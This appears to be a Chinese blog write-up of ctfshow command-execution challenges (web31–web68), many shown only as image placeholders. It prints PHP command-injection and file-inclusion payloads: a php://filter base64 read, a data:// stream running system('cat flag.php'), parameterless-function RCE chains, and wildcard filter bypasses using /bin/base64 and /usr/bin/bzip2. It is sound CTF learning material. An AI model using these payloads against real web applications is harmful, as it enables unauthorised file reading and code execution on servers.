/** 鼠标样式 **/

ctfshow命令执行

参考链接:
https://blog.csdn.net/qq_49480008/article/details/113177878

1.飘号:``,相当于eval
eval(echo cat ????.???;)相当于eval(echo cat flag的内容)

web31

image
或者?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web32

image
?>相当于;

web33

多过滤了双引号,去掉就行
image

web34

同上
image

web35

同上
image

web36

同上
image

web37

image
include文件包含,可利用伪协议读flag,data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
方法二:
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
base64解码为"<?php system('cat flag.php');?""
查看源码即可得到flag

web38

image

web39

image
inlucde要包含的文件后面加了.php,因为前面的php语句已经闭合了,相当于执行了php语句,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

web40

无参数读文件
https://www.freebuf.com/articles/system/242482.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#什么是无参数函数RCE
image
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序 scandir():获取目录下的文件
next():函数将内部指针指向数组中的下一个元素,并输出。 首先通过
pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。具体内容如下
image
先倒转,在变成数第二个,用show_source,print_r不行
image

web42

image

/dev/null 2>&1主要意思是不进行回显的意思,可用;分割和||分割,||只执行前面的代码,|只执行后面的代码

web43

image

web44

image

web45

image

web46

image

web47

image

web48

同上

web49

同上

web50

image

web51

image

web52

image

web53

image

web54

image
相当于打印$flag="ctfshow{27283afe-118b-48b5-a5e6-8b523eecb3cb}";

web55

image

方法一:

查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:

?c=/???/????64 ????.???
意思是 /bin/base64 flag.php

意思是 /bin/base64 flag.php

方法二:

bzip2是linux下面的压缩文件的命令 关于bzip2命令的具体介绍
/usr/bin目录:

主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载
payload:

?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php

也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php

web58-65

image

web66

image

web67

image

web68

image

posted @ 2024-02-26 21:35  aliex23k65  阅读(19)  评论(0)    收藏  举报